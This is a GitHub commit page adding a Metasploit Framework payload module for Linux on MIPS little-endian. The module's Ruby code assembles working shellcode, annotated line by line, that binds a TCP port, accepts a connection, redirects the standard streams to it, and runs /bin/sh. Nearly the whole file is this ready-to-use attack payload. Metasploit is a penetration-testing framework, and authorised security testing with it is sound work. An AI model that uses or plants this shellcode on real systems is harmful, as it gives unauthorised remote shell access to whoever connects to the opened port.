Skip to content

Commit 3d199fe

Browse files
author
jvazquez-r7
committed
Merge branch 'mipsle-shell_bind_tcp' of https://github.com/kost/metasploit-framework into kost-mipsle-shell_bind_tcp
2 parents 3949c85 + 4ac79c9 commit 3d199fe

File tree

1 file changed

+128
-0
lines changed

1 file changed

+128
-0
lines changed

‎modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
require 'msf/core'
13+
require 'msf/core/handler/bind_tcp'
14+
require 'msf/base/sessions/command_shell'
15+
require 'msf/base/sessions/command_shell_options'
16+
17+
module Metasploit3
18+
19+
include Msf::Payload::Single
20+
include Msf::Payload::Linux
21+
include Msf::Sessions::CommandShellOptions
22+
23+
def initialize(info = {})
24+
super(merge_info(info,
25+
'Name' => 'Linux Command Shell, Bind TCP Inline',
26+
'Version' => '$Revision$',
27+
'Description' => 'Listen for a connection and spawn a command shell',
28+
'Author' => 'Vlatko Kosturjak',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => ARCH_MIPSLE,
32+
'Handler' => Msf::Handler::BindTcp,
33+
'Session' => Msf::Sessions::CommandShellUnix,
34+
'Payload' =>
35+
{
36+
'Offsets' => {} ,
37+
'Payload' => ''
38+
})
39+
)
40+
end
41+
42+
def generate
43+
if(!datastore['LPORT'] or datastore['LPORT'].empty? )
44+
return super
45+
end
46+
47+
port = Integer(datastore['LPORT'])
48+
port = [port].pack("n").unpack("cc");
49+
50+
# based on vaicebine at gmail dot com shellcode
51+
# and scut paper Writing MIPS/Irix shellcode
52+
shellcode =
53+
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
54+
"\xfd\xff\x0e\x24" + # li t6,-3
55+
"\x27\x20\xc0\x01" + # nor a0,t6,zero
56+
"\x27\x28\xc0\x01" + # nor a1,t6,zero
57+
"\xff\xff\x06\x28" + # slti a2,zero,-1
58+
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
59+
"\x0c\x01\x01\x01" + # syscall
60+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
61+
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
62+
"\xef\xff\x0e\x24" + # li t6,-17
63+
"\x27\x70\xc0\x01" + # nor t6,t6,zero
64+
port.pack("C2") + "\x0d\x24" + # li t5,0xFFFF (port)
65+
"\x04\x68\xcd\x01" + # sllv t5,t5,t6
66+
"\xff\xfd\x0e\x24" + # li t6,-513
67+
"\x27\x70\xc0\x01" + # nor t6,t6,zero
68+
"\x25\x68\xae\x01" + # or t5,t5,t6
69+
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
70+
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
71+
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
72+
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
73+
"\x25\x20\x10\x02" + # or a0,s0,s0
74+
"\xef\xff\x0e\x24" + # li t6,-17
75+
"\x27\x30\xc0\x01" + # nor a2,t6,zero
76+
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
77+
"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
78+
"\x0c\x01\x01\x01" + # syscall
79+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
80+
"\x25\x20\x10\x02" + # or a0,s0,s0
81+
"\x01\x01\x05\x24" + # li a1,257
82+
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
83+
"\x0c\x01\x01\x01" + # syscall
84+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
85+
"\x25\x20\x10\x02" + # or a0,s0,s0
86+
"\xff\xff\x05\x28" + # slti a1,zero,-1
87+
"\xff\xff\x06\x28" + # slti a2,zero,-1
88+
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
89+
"\x0c\x01\x01\x01" + # syscall
90+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
91+
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
92+
"\x25\x20\x10\x02" + # or a0,s0,s0
93+
"\xfd\xff\x0f\x24" + # li t7,-3
94+
"\x27\x28\xe0\x01" + # nor a1,t7,zero
95+
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
96+
"\x0c\x01\x01\x01" + # syscall
97+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
98+
"\x25\x20\x10\x02" + # or a0,s0,s0
99+
"\x01\x01\x05\x28" + # slti a1,zero,0x0101
100+
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
101+
"\x0c\x01\x01\x01" + # syscall
102+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
103+
"\x25\x20\x10\x02" + # or a0,s0,s0
104+
"\xff\xff\x05\x28" + # slti a1,zero,-1
105+
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
106+
"\x0c\x01\x01\x01" + # syscall
107+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
108+
"\x50\x73\x06\x24" + # li a2,0x7350
109+
"\xff\xff\xd0\x04" + # LB: bltzal a2,LB
110+
"\x50\x73\x0f\x24" + # li t7,0x7350 (nop)
111+
"\xff\xff\x06\x28" + # slti a2,zero,-1
112+
"\xc7\xff\x0f\x24" + # li t7,-57
113+
"\x27\x78\xe0\x01" + # nor t7,t7,zero
114+
"\x21\x20\xef\x03" + # addu a0,ra,t7
115+
"\xf0\xff\xa4\xaf" + # sw a0,-16(sp)
116+
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
117+
"\xf7\xff\x0e\x24" + # li t6,-9
118+
"\x27\x70\xc0\x01" + # nor t6,t6,zero
119+
"\x21\x60\xef\x03" + # addu t4,ra,t7
120+
"\x21\x68\x8e\x01" + # addu t5,t4,t6
121+
"\xff\xff\xa0\xad" + # sw zero,-1(t5)
122+
"\xf0\xff\xa5\x23" + # addi a1,sp,-16
123+
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
124+
"\x0c\x01\x01\x01" + # syscall
125+
"/bin/sh"
126+
end
127+
128+
end

0 commit comments

Comments
 (0)